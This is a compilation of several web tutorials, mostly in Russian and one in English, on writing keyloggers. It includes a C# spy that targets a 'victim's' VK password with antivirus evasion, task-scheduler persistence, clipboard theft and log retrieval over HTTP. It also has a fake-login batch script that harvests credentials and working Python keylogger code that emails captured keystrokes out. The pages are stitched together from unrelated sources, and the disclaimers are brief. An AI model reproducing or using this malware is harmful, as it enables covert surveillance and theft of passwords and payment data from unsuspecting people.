Как написать программу шпиона

Хорошие кейлоггеры с большим функционалом и защитой от детекта антивирусов могут стоить многих денег. Но создание кейлоггера не такая уж сложная вещь, и при желании любой немного разбирающийся в программировании человек может самостоятельно написать свой собственный кейлоггер, который даже не будет палится антивирусами. В сегодняшней статье я покажу, как создать кейлоггер / клавиатурный шпион на C#.

Создание кейлоггера на C#

Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:

• мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
• мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
• мы сможем забирать логи, находясь в той же локальной сети;
• антивирус должен молчать;
• файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
• мы не будем пытаться скрывать процесс и только дадим ему неприметное название.

Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.

Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.

Теория создания клавиатурного шпиона на C#

Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.

Написание кейлоггера на C#

Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.

Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.

Еще по теме: Кейлоггер на Visual C++

Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.

Импортируем GetAsyncKeyState из user32.dll:

И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:

Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давайте не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:

После такого редактирования лог стал намного чище (см. рисунок).

Так уже намного лучше! Теперь нужно добавить обработку кнопок Shift и Caps Lock. Добавим в начале цикла следующий код:

Теперь у нас есть переменная, которая показывает, нужно ли нам оставить букву большой. Проверяем ее и складываем символы в буфер.

Следующая проблема — это сообщения вида <Oemcomma>, <ShiftKey>, <Capital> и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, <Oemcomma> — это обычная человеческая запятая, а <Capital> — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.

А вот вещи вроде побороть сложнее. У шифта, кстати, есть два разных варианта — правый и левый. Убираем все это, ведь состояние заглавных букв мы уже получили.

Погоняв логгер некоторое время, обнаруживаем и другие кнопки, которые нужно обрабатывать по-особому:

• Num Lock;
• функциональные клавиши;
• Print Screen;
• Page Up и Page Down;
• Scroll Lock;
• сочетание Shift + цифровая клавиша;
• Tab;
• Home и End;
• Пуск;
• Alt;
• клавиши со стрелками.

Добавляем еще проверки и замены, и лог приобретает читабельный вид. В целом уже неплохо! Из недостатков: нет поддержки русской раскладки, что, впрочем, не так важно, если наша цель — получить пароли.

Смотрим, что скажет антивирус…

Загружаем образец на VirusTotal, чтобы проверить на остальных. Результат: только 8 из 70 антивирусов что-то подозревают.

Красивый вариант клавиатурного шпиона

Теперь попробуем сделать более правильно и будем перехватывать сообщения о нажатии клавиш на клавиатуре. Первые шаги те же: создаем проект Windows Forms и придумываем неприметное название (например, WindowsPrintService). В заглушке, которую нам создала Visual Studio, меняем void Main() на void Main(String[] args). Теперь сделаем простую проверку аргументов:

Дальше довольно много кода, не буду приводить его весь. Там есть флаги Caps Lock, Shift и прочее, а нажатия определяются гигантским Switch. Но показать я хочу не это, а установку хука на клавиатуру.

Сначала мы помещаем ссылку на нашу функцию в переменную callback, потом получаем handle нашей программы, затем устанавливаем хук. А дальше вечно обрабатываем получаемые сообщения каждые 5 мс (PeekMessageA). Важный момент — объявление callback-функции, которая должна точно соответствовать WinAPI, а также передача управления нижележащим обработчикам (см. ниже).

А тут мы передаем управление дальше по цепочке хуков:

На этом скрине виден код нашей callback-функции с некоторыми сокращениями (не уместился разбор нажатия клавиш). Обратите внимание на упомянутый выше вызов CallNextHookEx, который нужен, чтобы не только мы получали сообщения о нажатиях клавиш.

На этом скриншоте видна обработка нажатий цифровых клавиш с зажатым шифтом, а на следующем — ситуация с Caps Lock и Shift.

Клиппер для вытаскивания данных из буфера обмена

Клиппер — это программа, предназначенная для похищения данных из буфера обмена (название — от слова clipboard). Пригодиться это может, например, на случай, если жертва использует менеджер паролей и копирует пароли оттуда.

Создадим новую форму Windows, удалим файлы <ИмяФормы>.Designer.cs и <ИмяФормы>.resx. Теперь перейдем в режим редактирования, нажав F7, и приступим к написанию кода. Добавим using System.Runtime.InteropServices и импортируем WinAPI (на скриншоте — в отдельном классе).

В конструктор формы вставляем следующий код:

Первый вызов сделает наше окно способным к восприятию системных сообщений, а второй назначит обработчик поступающих сообщений.

Eще по тем: Кейлоггер на Python

Теперь объявим переменную типа String и назовем ее lastWindow. Теперь мы переназначим стандартную функцию обработки сообщений (void WndProc(ref Message m)):

Для работы этого кода я взял уже готовый класс, который можно просто добавить в проект и не заморачиваться с созданием оберток вокруг WinAPI. Взять его можно на Pastebin.

Запустить клиппер несложно: добавляем ссылку на сборку System.Windows.Forms.dll, добавим using для System.Windows.Forms и System.Threading и добавим в метод запуска логгера следующие строки:

Просто? Вот именно. Только добавлять этот вызов нужно после назначения обработчика для Trace, иначе весь вывод улетит в неизвестные дали.

Сбор логов

Следующее, что нам нужно, — это забирать лог удаленно. Поскольку мы не собираемся заниматься промышленным шпионажем, то можно для начала ограничиться доступом из локальной сети. Для этого будет достаточно встроить в наш проект минималистичный сервер HTTP. Вот подходящий исходник, а вот доработанная мной версия.

Использование тоже весьма примитивное: достаточно создать объект нашего сервера, и он автоматически займет адреса localhost:34000 и <InternalIP>:34000 под HTTP и на этих же адресах порт 34001. Сервер будет возвращать список файлов и папок в виде списка или содержимое файла, если запрошен файл.

В конструктор нужно передать путь к папке, в которую пишутся логи (или любой другой, которая может понадобиться). По умолчанию логи пишутся в текущую папку, значит, в конструктор передаем Environment.CurrentDirectory.

Автозапуск кейлоггера

Есть много способов попасть в автозагрузку: тут и папка «Автозагрузка», и куча мест в реестре, и установка своего драйвера, и создание службы… Однако реестр и драйверы отслеживаются любым приличным антивирусом, а создание службы слишком кривой вариант, который может сломаться в любой момент, хотя на крайний случай неплохо.

Мы же просто создадим задачу в планировщике заданий и попросим его запускать наш логгер с нужными параметрами при каждом входе юзера в систему. Для работы с планировщиком заданий берем пакет Microsoft.Win32.TaskScheduler из NuGet. Код для работы с ним я выложил на Pastebin. Не забудьте поправить путь, на который ссылается запись в планировщике.

Алгоритм действий логгера при запуске я показал на картинке.

Реакция антивирусов на кейлоггер

Проверка более красивого варианта на VirusTotal показывает, что его обнаруживает большее число антивирусов, чем раньше, — 15 из 70. Однако среди оставшихся — почти все популярные у нас домашние антивирусы.

В общем, главное — не нарваться на «Авиру» или NOD32.

Проверка заголовка окна

Если наша предполагаемая жертва сразу после входа в систему пошла логиниться в ВК, то, считайте, вам повезло. Но что, если вместо этого она села играть в контру? Пароль придется вытаскивать из тонн символов W, A, S, D и пробелов, а с «костыльным» вариантом это еще сложнее. Поэтому давайте прокачаем наш логгер: будем записывать сигналы клавиатуры только тогда, когда активно окно браузера с формой входа. Для этого вернемся к WinAPI, а конкретно к функции GetForegroundWindow.

В импорте видна еще одна функция, которая нам понадобится: GetWindowText. Она нужна, чтобы по хендлу окна получить его заголовок. Алгоритм действий тут тоже предельно понятен: сначала получаем заголовок активного окна, затем проверяем, нужно ли включать логгер, и включаем его (или выключаем). Реализация этой схемы:

1. Создадим функцию IsForegroundWindowsInteresting. Ее код будет таким:

   bool IsForegroundWindowInteresting(String s) {    IntPtr _hwnd = GetForegroundWindow();    StringBuilder sb = new StringBuilder(256);    GetWindowText(_hwnd, sb, sb.Capacity);    if (sb.ToString().ToUpperInvariant().Contains(s.ToUpperInvariant())) return true;    return false; }

2. В самом начале нашей функции CallbackFunction вставляем

   if (IsForegroundWindowInteresting(«Welcome! | VK») ||     IsForegroundWindowInteresting(«Добро пожаловать | ВКонтакте»)) {    return CallNextHookEx(IntPtr.Zero, code, wParam, lParam); }

Как вы заметили, я проверяю два варианта, так как не знаю, какой язык использует жертва. Если мы не нашли интересного окна, то просто переходим к следующему обработчику и не нагружаем компьютер лишними дисковыми операциями.

Поиск по логу

Теперь давайте предположим, что лог все равно вырос до угрожающих размеров и нам нужно вытащить из него, например, номер телефона, чтобы знать, с какого места искать пароль. Для этого лучше всего подойдут регулярные выражения, в C# они предоставлены классом Regex.

По понятным причинам логи мы будем анализировать на своей машине, так что сделаем отдельную программу. Чтобы использовать регулярки, добавим using System.Text.RegularExpressions и сделаем метод, который принимает на вход путь к файлу лога, а на консоль выводит все найденные телефонные номера.

Пароль будет идти следом за номером телефона.

Итого

Итак, мы убедились в том, что написать кейлоггер — не проблема. Более того, наш самописный клавиатурный шпион со всеми его ограничениями имеет важное преимущество: антивирусам заранее неизвестно о его существовании, а по функциям его определяют далеко не все из них. Конечно, дальше можно многое дорабатывать. Например, добавить возможность доступа через интернет, научить кейлоггер работать с разными клавиатурными раскладками, добавить снятие скриншотов и другие фишки. Моей же целью в этой статье было показать, насколько просто создать кейлоггер самостоятельно.

Еще по теме: Клавиатурный шпион на Delphi

Как создать кейлоггер? Этот вопрос возникает у тех, кто вдруг решил немного побыть хакером. Ведь кейлоггер — это не совсем «правильная» штука, хотя и не является ни вирусом, ни трояном, ни руткитом.

Кейлоггер — это клавиатурный шпион, который сможет проследить за манипуляциями с клавишами на клавиатуре. Более продвинутые версии собирают данные о нажатии клавиатуры и отправляют эти сведения своему создателю. Именно так орудуют хакеры, когда хотят перехватить чьи-то логин и пароль или платежные реквизиты. Особенно продвинутые кейлоггеры не распространяются самостоятельно, а входят в состав более крупных программ, и их не видят антивирусы или файерволы. Например, вы скачали какую-то нужную вам программу, а внутри нее находится кейлоггер, который запустится вместе с инсталляцией программы, а вы даже не будете об этом подозревать. В общем, давайте разбираться, что такое кейлоггер и как его можно создать или им воспользоваться, но обо всем по порядку.

Что такое кейлоггер

Кейлоггер относят к классу «spyware» — программ-шпионов, которые выполняют свои шпионские задачи и следят за действиями ничего не подозревающих пользователей. Те, кто знает о кейлоггерах, очень часто их недооценивают и не считают настоящей угрозой, хотя в умелых руках этот инструмент может «наворотить» дел и передать своему создателю необходимую ему информацию, которую вводят пользователи.

Современные кейлоггеры могут не только записывать все нажатия с клавиатуры, но и привязывать нажатия к сервисам или к конкретному окну, с которого нужно получить данные. Например, можно шпионить за клавиатурой только тогда, когда открыто окно входа в Фейсбук или ВК.

Обычно продвинутые кейлоггеры очень качественно маскируются под другие программы, поэтому их сложно отследить, и их не видят антивирусы, принимая их за системные файлы или за безвредную программу. Они собирают отчеты в специальные файлы-логи и могут отправлять эти отчеты по e-mail или по ftp-протоколу.

В общем, смотря как создатель кейлоггера подошел к своей разработке. Если со всей ответственностью, то такая программа становится конкретной проблемой в вашем компьютере. Если же абы как, то такую программу довольно просто распознать и удалить.

Какими бывают кейлоггеры

Перед тем как создать кейлоггер, необходимо понимать, по какому принципу работают такие программы. Способов создать и внедрить кейлоггер можно насчитать несколько сотен. Но все кейлоггеры могут «работать» по нескольким принципам:

1. Простой стандартный способ. Установить соответствующий хук, например, WH_Keyboard или WH_Journalrecord, и использовать соответствующий механизм, например, Win32API. Суть этого способа сводится к тому, что хуки будут считывать информацию непосредственно с системных процессов, перехватывая нажатия абсолютно всех клавиш клавиатуры. Это самый простой вид ловушки, который не требует больших программистских знаний; создать такой кейлоггер можно за пару минут. Однако такие шпионы достаточно легко обнаруживаются в системе, и самый главный их недостаток заключается в том, что они записывают абсолютно все нажатия клавиш. А это значит, что нужно будет выделить среди всех нажатий нужную информацию. Если «шпионить» за одним компьютером, то это полбеды, но если компьютеров несколько десятков или сотен, то накапливаются огромные объемы информации о нажатии клавиш на всех компьютерах.

2. Опрос состояния клавиатуры с какой-либо периодичностью. Это тоже довольно простой метод реализации кейлоггера, который часто используется уже готовыми программами-шпионами. Он тяжелее распознается в системе и обладает теми же недостатками, что и первый способ. Суть этого кейлоггера в том, чтобы «опрашивать» клавиатуру о ее состоянии (нажата или не нажата клавиша) со скоростью 10-25 опросов в секунду.

3. Кейлоггер на основе драйвера. Этот способ несколько сложнее, чем первые два, однако он является наиболее эффективным, незаметным и управляемым. При такой реализации пишется собственный драйвер-шпион для клавиатуры и подменяется на стандартный. Либо устанавливается дополнительный драйвер-фильтр, который отслеживает необходимые нажатия клавиатуры. Например, нужно отследить, что нажимает пользователь, когда открыто окно входа в соцсеть или окно онлайн-оплаты.

4. Кейлоггер-руткит. Это профессиональный вид кейлоггеров, который используется редко, но имеет самые высокие показатели в незаметности. Он выстраивается на уровне ядра процессора за счет перехвата процесса обмена информацией между драйвером клавиатуры и процессора. Этот вид кейлоггеров способен перехватывать работу даже экранной клавиатуры. Ни один из вышеописанных способов не может этого делать, поэтому экранная клавиатура считается отличным средством защиты от клавиатурного шпионажа. А такой кейлоггер мониторит даже экран.

5. Физические устройства. Как ни странно, но следить за клавиатурой можно не только программными методами, но и аппаратными устройствами. Такие устройства не распознаются никакими антивирусами или другими программными методами и отлично выполняют свою функцию. Главный недостаток в том, что их установка требует физического контакта с устройством, за которым необходимо следить. Такой кейлоггер может быть реализован в виде USB-флешки или карты памяти, в виде небольшого устройства, которое внедряют в место «разрыва» кабеля, в штекер клавиатуры или в саму клавиатуру и др.

Как распространяются кейлоггеры

Если кейлоггер — это аппаратное устройство, то его установка требует физического контакта с клавиатурой или с самим устройством. Если кейлоггер — это программное решение, то его методы распространения ничем не отличаются от методов распространения вирусов и «троянов». Если не рассматривать случай, когда кейлоггер устанавливается «заботливым» другом, коллегой или «второй половинкой», то можно различить несколько популярных способов распространения таких программ:

• при открытии файла электронного письма, которое вам прислали незнакомые (или знакомые) люди;

• при посещении сомнительных сайтов, где может быть установлен скрипт, запускающий автоматическую установку кейлоггера на устройство;

• когда на устройстве уже есть вредоносная программа, которая самостоятельно устанавливает другие программы;

• при скачивании сомнительных программ или драйверов с сомнительных сайтов;

• когда незнакомый вам сайт просит обновить какую-то программу, установленную на вашем компьютере;

• и др.

Суть сводится к тому, чтобы заставить пользователя установить что-то на его устройство, а в этом «чем-то» может быть спрятан кейлоггер.

Кейлоггер: создать или использовать готовый

Чтобы создать кейлоггер, который будет вам служить верой и правдой и при этом не будет обнаружен ни антивирусами, ни специальными программами, нужно обладать отличными знаниями в программировании и понимать все системные процессы, которые должны происходить в компьютере при запуске вашей программы. Потому что если подходить к созданию простого кейлоггера с минимальными знаниями, то такая программка будет очень быстро обнаружена и деинсталлирована, а ваш труд окажется напрасным.

Поэтому, если вы хотите создать кейлоггер для каких-либо личных целей, можете для начала попробовать применить уже готовые программы. Многие из таких программ не обнаруживаются защитными средствами компьютера. Большинство из представленных программ платные, но с бесплатным периодом для ознакомления. А самые продвинутые пользователи легко могут найти для платных программ таблетки и рабочие кряки.

Кейлоггеры:

• The Rat! — работает на уровне аппаратного ядра, поэтому вообще незаметен для защитных программ;

• Elite Keylogger — работает на уровне системных драйверов, поэтому также остается очень незаметным, способен перехватывать не только нажатия клавиатуры, но и снимки с веб-камеры;

• All-in-one Keylogger — работает на уровне системных AppData-директорий, поэтому недоступен пользователям для обнаружения, но со временем может быть обнаружен программами безопасности;

• Spytech SpyAgent — работает на уровне системных файлов, поэтому рано или поздно будет обнаружен антивирусами, но обладает широким функционалом, например, способен перехватывать видео с камеры и звук с микрофона;

• Spyrix Personal Monitor — многофункциональный кейлоггер со средней скрытностью, может быть использован в частном порядке, когда его обнаружение не критично, например, когда нужно проследить за своими детьми, братьями, сестрами и т. д.

• и др.

Как создать свой собственный кейлоггер

Мы не будем приводить код кейлоггеров, которые работают на уровне ядра или драйверов и являются очень скрытными, но можем направить и показать, как создать свой простенький кейлоггер.

Самый простой кейлоггер на С# выглядит так:

while (true)

{

Thread.Sleep(150);

for (Int32 i = 0; i < 255; i++)

{

int state = GetAsyncKeyState(i);

if (state == 1 || state == -32767)

{

Console.WriteLine((Keys)i);

}

}

}

Что мы сделали? Мы постоянно вызываем функцию «GetAsyncKeyState», которая определяет состояние клавиш клавиатуры в момент вызова. Подобный цикл будет повторяться каждые 150 мс. Такой код будет сканировать нажатия абсолютно всех клавиш. Если нужно, чтобы такой кейлоггер срабатывал на определенных страницах, например, в ВК и при входе в Юмани, тогда можно дописать вот так:

while (true)

{

IntPtr handle = GetForegroundWindow();

if (GetWindowText(handle, buff, chars) > 0)

{

string line = buff.ToString();

if (line.Contains(«Yoomoney»)|| line.Contains(«VKontakte — Log In or Sign Up «))

{

//проверяем клавиатуру раз в 150 мс

}

}

Thread.Sleep(150);

}

Методам совершенства даже такого простого кейлоггера нет предела. Например, можно при помощи регулярных выражений сделать так, чтобы кейлоггер собирал только почту и пароль или только платежные реквизиты и т. д. Совершенствовать и маскировать кейлоггер можно до бесконечности. Ограничения будут только в вашем знании языка программирования и понимании программных процессов, происходящих в компьютере.

Заключение

Перед тем как создать или использовать кейлоггер, нужно понимать, для каких целей вы хотите осуществить слежку. Такие действия относятся к социальной инженерии и являются незаконными во многих государствах. Поэтому за незаконную слежку за кем бы то ни было вас могут привлечь к ответственности. При этом сами программы-кейлоггеры являются законным и легальным программным обеспечением.

На чтение 2 мин Опубликовано 12.08.2017

В этом материале вы узнаете как создать простой клавиатурный перехватчик, используя  стандартный блокнот, который может зарегистрировать каждое нажатие клавиши.

Хакеры используют клавиатурные перехватчики, чтобы украсть конфиденциальные данные.

Клавиатурный шпион – опасный инструмент взламывания, который может работать в фоновом режиме, не позволяя  пользователю заметить свое присутствие.

Есть много программного обеспечения кейлоггеров доступное онлайн.

Не используйте его, если оно не с открытым исходным кодом.

Хакеры используют клавиатурные шпионы, чтобы украсть конфиденциальные данные, такие как имена пользователей, пароли, детали банковского счета и информация о кредитной карте.

Давайте посмотрим, как мы можем сделать собственный кейлоггер без дополнительного ПО и знаний программирования.

1. Перейдем в директорию диска ( C: ) и найдем папку Logs. Если она не существует содаем ее.

2. Открываем блокнот и вставляем в него следующее содержимое:

---

@echo off
color a
title Login
cls
echo Please Enter Your Email Address And Password
echo.
echo.
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
start >>Program Here<<
exit

---

3. Переходим в меню и сохраняем файл. Назовем его Logs.bat и сохраним его в каталоге Logs на диске C:

4. Чтобы проверить его работу, запустим батник и введем куда либо пароль и логин.

5. Перейдем в папку Logs и найдем там файл log.txt.

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Пожалуйста, не спамьте и никого не оскорбляйте.

Это поле для комментариев, а не спамбокс.

Рекламные ссылки не индексируются!

Просмотров: 84

Здравствуйте, дорогие друзья.

Напишем программу для идентификации нажатия клавиш на клавиатуре. Это очень полезная программа, которую можно использовать в огромном количестве ситуаций. Ее часто используют во время пентеста, потому что если Вы смогли установить программу в систему, с помощью социальной инженерии или передав файлы на компьютер, то она будет записывать все нажатия клавиш пользователя, в том числе пароли, имена пользователей и т. д.

В сети есть великое множество кейлоггеров для скачивания, как локальных, так и удаленных. Удаленные кейлоггеры более приемлемы для нас, так как нам будет удобнее получать данные с удаленной машины пользователя к себе на сервер или на почту.

Некоторые кейлоггеры могут делать скриншоты и запускаться одновременно с системой. В рамках данного урока мы не будем зацикливаться на дополнительных опциях кейлоггера.

Наша основная цель — это написать программу, которая могла бы фиксировать нажатия клавиш на клавиатуре. Для написания, нам понадобится модуль «pynput». Вот ссылка на него: https://pypi.org/project/pynput/.

Для установки этого модуля, нужно ввести в терминале «pip install pynput»:

Он уже у меня установлен, так что логи будут отличаться. Вам не нужно ничего настраивать.

Итак, приступим к написанию программы. Как обычно, начинаем с импортирования библиотеки. Код будет выглядеть как «import pynput». Эта библиотека позволяет нам следить за мышью и клавиатурой:

Нас интересует только нажатия клавиш с клавиатуры, поэтому мы дополняем код библиотеки «pynput» значением «keyboard», через символ точки:

Далее объявляем переменную «keyboard_listener», которая будет равняться библиотеке «pynput», имея функцию «keyboard», и создаем экземпляр объекта «Listener ()». После этого нужно указать функцию обратного вызова, которая будет выполняться при каждом нажатии клавиш. В скобках пишем функцию «on_press», и назовем ее как: «process_key_press»:

Выше по коду объявляем новую функцию «process_key_press», и она будет использовать переменную «key», которая будет отображать нажатие клавиш. И далее выведем на экран эту переменную: «print(key)»:

Итак, в нашем коде мы создали «keyboard_listener», но не запустили его. Чтобы запустить эту конструкцию, нам нужно добавить ключевое слово «with», для того, чтобы взаимодействовать с «listener», на клавиатуре.

По-большому счету ключевое слово «with», используется для взаимодействия с неконтролируемыми потоками данных или использованием ключевого слова «with». Запускаем «keyboard.listener»:

Такие примеры можно встретить в документации. Напомню, что ссылку я Вам давал выше.

Теперь наш кейлоггер готов. Он прост, но в тоже время готов к использованию.

Протестируем его, запустив файл через терминал:

Как видим, все прекрасно работает. Все будет фиксироваться, даже специальные символы на клавиатуре:

Наш кейлоггер готов к использованию, но он требует доработки.

На этом все. Всем хорошего дня!

Первая часть статьи — Кейлоггеры.

 

·

10 min read
· Updated
dec 2022

· Ethical Hacking

A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer’s keyboard. In this tutorial, you will learn how to write a keylogger in Python.

You are maybe wondering why a keylogger is useful? Well, when a hacker (or a script kiddie) uses this for unethical purposes, he/she will register everything you type on the keyboard, including your credentials (credit card numbers, passwords, etc.).

The goal of this tutorial is to make you aware of these kinds of scripts and learn how to implement such malicious scripts on your own for educational purposes. Let’s get started!

Related: How to Make a Port Scanner in Python.

First, we going to need to install a module called keyboard, go to the terminal or the command prompt and write:

$ pip install keyboard

This module allows you to take complete control of your keyboard, hook global events, register hotkeys, simulate key presses, and much more, and it is a small module, though.

So, the Python script will do the following:

• Listen to keystrokes in the background.
• Whenever a key is pressed and released, we add it to a global string variable.
• Every N minutes, report the content of this string variable either to a local file (to upload to FTP server or use Google Drive API) or via email.

Get: Build 35+ Ethical Hacking Tools & Scripts with Python EBook

Let us start by importing the necessary modules:

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Timer is to make a method runs after an `interval` amount of time
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

If you choose to report key logs via email, then you should set up an email account on Outlook or any other provider and make sure that third-party apps are allowed to log in via email and password.

Note: From May 30, 2022, ​​Google no longer supports the use of third-party apps or devices which ask you to sign in to your Google Account using only your username and password. Therefore, this code won’t work for Gmail accounts. If you want to interact with your Gmail account in Python, I highly encourage you to use the Gmail API tutorial instead.

Now let’s initialize our parameters:

SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
EMAIL_ADDRESS = "email@provider.tld"
EMAIL_PASSWORD = "password_here"

Note: Obviously, you need to put your correct email credentials; otherwise, reporting via email won’t work.

Setting SEND_REPORT_EVERY to 60 means we report our key logs every 60 seconds (i.e., one minute). Feel free to edit this to your needs.

The best way to represent a keylogger is to create a class for it, and each method in this class does a specific task:

class Keylogger:
    def __init__(self, interval, report_method="email"):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        self.report_method = report_method
        # this is the string variable that contains the log of all 
        # the keystrokes within `self.interval`
        self.log = ""
        # record start & end datetimes
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

We set report_method to "email" by default, which indicates that we’ll send key logs to our email. You’ll see how we pass "file" later and it will save it to a local file.

Now, we gonna need to use the keyboard‘s on_release() function that takes a callback which will be called for every KEY_UP event (whenever you release a key on the keyboard), this callback takes one parameter, which is a KeyboardEvent that have the name attribute, let’s implement it:

    def callback(self, event):
        """
        This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)
        """
        name = event.name
        if len(name) > 1:
            # not a character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                # " " instead of "space"
                name = " "
            elif name == "enter":
                # add a new line whenever an ENTER is pressed
                name = "[ENTER]n"
            elif name == "decimal":
                name = "."
            else:
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        # finally, add the key name to our global `self.log` variable
        self.log += name

So whenever a key is released, the button pressed is appended to the self.log string variable.

If we choose to report our key logs to a local file, the following methods are responsible for that:

    def update_filename(self):
        # construct the filename to be identified by start & end datetimes
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        """This method creates a log file in the current directory that contains
        the current keylogs in the `self.log` variable"""
        # open the file in write mode (create it)
        with open(f"{self.filename}.txt", "w") as f:
            # write the keylogs to the file
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

Related: Get Ethical Hacking with Python EBook.

The update_filename() method is simple; we take the recorded datetimes and convert them to a readable string. After that, we construct a filename based on these dates, which we’ll use for naming our logging files.

The report_to_file() method creates a new file with the name of self.filename, and saves the key logs there.

Then we gonna need to implement the method that given a message (in this case, key logs), it sends it as an email (head to this tutorial for more information on how this is done):

    def prepare_mail(self, message):
        """Utility function to construct a MIMEMultipart from a text
        It creates an HTML version as well as text version
        to be sent as an email"""
        msg = MIMEMultipart("alternative")
        msg["From"] = EMAIL_ADDRESS
        msg["To"] = EMAIL_ADDRESS
        msg["Subject"] = "Keylogger logs"
        # simple paragraph, feel free to edit
        html = f"<p>{message}</p>"
        text_part = MIMEText(message, "plain")
        html_part = MIMEText(html, "html")
        msg.attach(text_part)
        msg.attach(html_part)
        # after making the mail, convert back as string message
        return msg.as_string()

    def sendmail(self, email, password, message, verbose=1):
        # manages a connection to an SMTP server
        # in our case it's for Microsoft365, Outlook, Hotmail, and live.com
        server = smtplib.SMTP(host="smtp.office365.com", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        server.starttls()
        # login to the email account
        server.login(email, password)
        # send the actual message after preparation
        server.sendmail(email, email, self.prepare_mail(message))
        # terminates the session
        server.quit()
        if verbose:
            print(f"{datetime.now()} - Sent an email to {email} containing:  {message}")

The prepare_mail() method takes the message as a regular Python string and constructs a MIMEMultipart object that helps us make both an HTML and a text version of the mail.

We then use the prepare_mail() method in sendmail() to send the email. Notice we have used the Office365 SMTP servers to log in to our email account. If you’re using another provider, make sure you use their SMTP servers. Check this list of SMTP servers of the most common email providers.

In the end, we terminate the SMTP connection and print a simple message.

Next, we make a method that reports the key logs after every period of time. In other words, calls sendmail() or report_to_file() every time:

    def report(self):
        """
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        """
        if self.log:
            # if there is something in log, report it
            self.end_dt = datetime.now()
            # update `self.filename`
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            # if you don't want to print in the console, comment below line
            print(f"[{self.filename}] - {self.log}")
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        # set the thread as daemon (dies when main thread die)
        timer.daemon = True
        # start the timer
        timer.start()

Learn also: How to Make a Ransomware in Python.

So we are checking if the self.log variable got something (the user pressed something in that period). If it is the case, then report it by either saving it to a local file or sending it as an email.

And then we passed the self.interval (in this tutorial, I’ve set it to 1 minute or 60 seconds, feel free to adjust it to your needs), and the function self.report() to Timer() class, and then call the start() method after we set it as a daemon thread.

This way, the method we just implemented sends keystrokes to email or saves them to a local file (based on the report_method) and calls itself recursively each self.interval seconds in separate threads.

Let’s define the method that calls the on_release() method:

    def start(self):
        # record the start datetime
        self.start_dt = datetime.now()
        # start the keylogger
        keyboard.on_release(callback=self.callback)
        # start reporting the keylogs
        self.report()
        # make a simple message
        print(f"{datetime.now()} - Started keylogger")
        # block the current thread, wait until CTRL+C is pressed
        keyboard.wait()

For more information about how to use the keyboard module, check this tutorial.

This start() method is what we’ll use outside the class, as it’s the essential method; we use keyboard.on_release() method to pass our previously defined callback() method.

After that, we call our self.report() method that runs on a separate thread, and finally, we use wait() method from the keyboard module to block the current thread, so we can exit the program using CTRL+C.

We are basically done with the Keylogger class, all we need to do now is to instantiate this class we have just created:

if __name__ == "__main__":
    # if you want a keylogger to send to your email
